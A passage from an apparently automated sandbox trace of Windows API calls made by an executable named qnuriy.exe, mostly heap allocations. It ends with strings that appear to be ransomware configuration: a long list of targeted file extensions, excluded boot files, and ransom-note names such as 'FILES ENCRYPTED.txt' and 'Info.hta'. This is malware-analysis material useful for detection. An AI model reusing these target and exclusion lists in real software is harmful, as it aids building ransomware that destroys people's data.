(HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b40 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b58 [0191.433] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x200) returned 0x529198 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b70 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5252d8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529b88 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529bc8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529be0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529bf8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c10 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c28 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c40 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c58 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529c70 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529c88 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ca0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529cb8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529cd0 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ce8 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d00 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d18 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d30 [0191.433] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529d48 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d60 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d78 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529d90 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x5252e8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529da8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529dc0 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529dd8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529fc8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529df0 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529e08 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e20 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e38 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e50 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e68 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e80 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529e98 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529eb0 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529ec8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ee0 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529ef8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f10 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x529f28 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f40 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f58 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f70 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x529f88 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c5d0 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c5e8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c600 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529fd8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x529fe8 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c618 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c630 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c648 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c660 [0191.434] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c678 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c690 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6a8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6c0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6d8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c6f0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c708 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c720 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c738 [0191.435] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x400) returned 0x529198 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c750 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c768 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c780 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c798 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7b0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7c8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c7e0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c7f8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c810 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c828 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x529ff8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c840 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53c858 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c870 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c888 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8a0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8b8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53c8d0 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c8e8 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c900 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c918 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c930 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c948 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c960 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c978 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c990 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a008 [0191.435] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9d0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53c9e8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca00 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca18 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca30 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca48 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca60 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca78 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ca90 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53caa8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cac0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53cad8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53caf0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb08 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb20 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb38 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb50 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cb68 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb80 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cb98 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbb0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbc8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbe0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cbf8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc10 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc28 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc40 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc58 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc70 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cc88 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cca0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ccb8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ccd0 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cce8 [0191.436] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd00 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x53cd18 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x12) returned 0x525f00 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd30 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd48 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd60 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd78 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cd90 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cdd0 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cde8 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce00 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce18 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce30 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce48 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce60 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce78 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ce90 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cea8 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cec0 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53ced8 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cef0 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf08 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cf20 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf38 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf50 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf68 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xe) returned 0x53cf80 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53cf98 [0191.437] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a018 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cfb0 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a028 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cfc8 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cfe0 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53cff8 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d010 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d028 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d040 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d058 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d070 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d088 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d0a0 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d0b8 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d0d0 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xc) returned 0x53d0e8 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d100 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x8) returned 0x52a038 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d118 [0191.438] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xa) returned 0x53d130 [0191.438] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x529198, Size=0x800) returned 0x53d5b8 [0191.438] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53b5b0 | out: hHeap=0x4f0000) returned 1 [0191.439] lstrlenW (lpString="") returned 0 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53def8 | out: hHeap=0x4f0000) returned 1 [0191.439] lstrlenW (lpString=".aa1") returned 4 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504750, Size=0x8) returned 0x504750 [0191.439] lstrlenW (lpString=".aa1") returned 4 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53def8 | out: hHeap=0x4f0000) returned 1 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df28, Size=0x20) returned 0x504370 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504370, Size=0x40) returned 0x526a80 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526a80, Size=0x80) returned 0x54b5b8 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0a8, Size=0x8) returned 0x52a0b8 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x10) returned 0x53df28 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df28, Size=0x20) returned 0x504348 [0191.439] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54b5b8 | out: hHeap=0x4f0000) returned 1 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df58, Size=0x20) returned 0x525930 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526a80 [0191.439] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0191.439] lstrlenW (lpString="FILES ENCRYPTED.txt") returned 19 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x526a80 | out: hHeap=0x4f0000) returned 1 [0191.439] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df58, Size=0x20) returned 0x525930 [0191.439] lstrlenW (lpString="Info.hta") returned 8 [0191.439] lstrlenW (lpString="Info.hta") returned 8 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x525930 | out: hHeap=0x4f0000) returned 1 [0191.439] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x55d5a8, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\qnuriy.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\qnuriy.exe")) returned 0x30 [0191.439] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5a8 | out: hHeap=0x4f0000) returned 1 [0191.439] lstrlenW (lpString="qnuriy.exe") returned 10 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526a80 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df58, Size=0x20) returned 0x504348 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df58, Size=0x20) returned 0x525930 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x525930, Size=0x40) returned 0x526ac8 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b5b8 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x52a3b0 [0191.440] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0191.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52a3b0 | out: hHeap=0x4f0000) returned 1 [0191.440] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x55d5a8, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0191.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x56d5b0 | out: hHeap=0x4f0000) returned 1 [0191.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x55d5a8 | out: hHeap=0x4f0000) returned 1 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x8) returned 0x52a0a8 [0191.440] lstrlenW (lpString="%windir%;") returned 9 [0191.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x504348 | out: hHeap=0x4f0000) returned 1 [0191.440] lstrlenW (lpString="C:\\Windows;") returned 11 [0191.440] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54d5a0 | out: hHeap=0x4f0000) returned 1 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53df70, Size=0x20) returned 0x504348 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x504348, Size=0x40) returned 0x526ac8 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x526ac8, Size=0x80) returned 0x54b5b8 [0191.440] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x54b5b8, Size=0x100) returned 0x52a3b0 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0e8, Size=0x8) returned 0x52a0f8 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x10) returned 0x53dfb8 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53dfb8, Size=0x20) returned 0x504348 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x8) returned 0x52a0f8 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0c8, Size=0x8) returned 0x52a0b8 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0e8, Size=0x8) returned 0x52a108 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a108, Size=0x10) returned 0x53e060 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x53e060, Size=0x20) returned 0x525930 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0f8, Size=0x10) returned 0x53e060 [0191.441] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x52a0b8, Size=0x10) returned 0x53e090 [0191.441] RtlReAllocateHeap 